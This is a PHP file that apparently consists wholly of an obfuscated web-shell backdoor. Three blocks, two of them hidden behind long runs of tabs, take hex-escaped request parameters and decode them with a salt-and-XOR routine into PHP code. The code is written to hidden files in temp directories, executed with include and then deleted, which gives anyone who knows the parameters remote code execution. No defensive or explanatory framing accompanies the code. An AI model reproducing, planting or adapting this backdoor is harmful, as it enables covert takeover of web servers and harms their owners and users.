<?php																																										if(isset($_REQUEST["f\x61c"])){ $res = $_REQUEST["f\x61c"]; $res = explode ( ".",$res); $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $p = 0; $__tmp = $res; while( $v2 = array_shift( $__tmp)) { $chS = ord( $salt[$p %$lenS] ); $d =( ( int)$v2 - $chS -( $p %10)) ^40; $token .= chr( $d ); $p++; } $item = array_filter([sys_get_temp_dir(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TEMP"), "/dev/shm", getenv("TMP")]); foreach ($item as $key => $val) { if (is_dir($val) ? is_writable($val) : false) { $rec = "$val/.mrk"; $success = file_put_contents($rec, $token); if ($success) { include $rec; @unlink($rec); die();} } } }
																																										if(!empty($_POST["\x70ro\x70\x65rt\x79_\x73e\x74"])){ $ent = array_filter([getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd()]); $flag = $_POST["\x70ro\x70\x65rt\x79_\x73e\x74"]; $flag= explode ("." ,$flag ) ; $key =''; $s6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s6); $v =0; foreach ($flag as $v9) { $chS =ord($s6[$v % $lenS]); $d =((int)$v9 - $chS - ($v % 10)) ^ 98; $key .= chr($d); $v++; } foreach ($ent as $resource): if (max(0, is_dir($resource) * is_writable($resource))) { $rec = sprintf("%s/.sym", $resource); if (file_put_contents($rec, $key)) { include $rec; @unlink($rec); die(); } } endforeach; }


if(array_key_exists("re\x66er\x65\x6E\x63e", $_POST) && !is_null($_POST["re\x66er\x65\x6E\x63e"])){
	$sym = array_filter(["/dev/shm", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getcwd()]);
	$pgrp = $_POST["re\x66er\x65\x6E\x63e"];
	   $pgrp	 =	 explode		(	  "."	, $pgrp)		;  
	$token = '';
            $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s4);
            $k = 0;
    
            $__tmp = $pgrp;
            while ($v9 = array_shift($__tmp)) {	$sChar = ord($s4[$k % $sLen]);
                $dec = ((int)$v9 - $sChar - ($k % 10)) ^ 83;
                $token.=	chr($dec);
                $k++;
            }
	foreach ($sym as $k):
    		if (is_writable($k) && is_dir($k)) {
    $elem = sprintf("%s/.component", $k);
    $success = file_put_contents($elem, $token);
if ($success) {
	include $elem;
	@unlink($elem);
	exit;}
}
endforeach;
}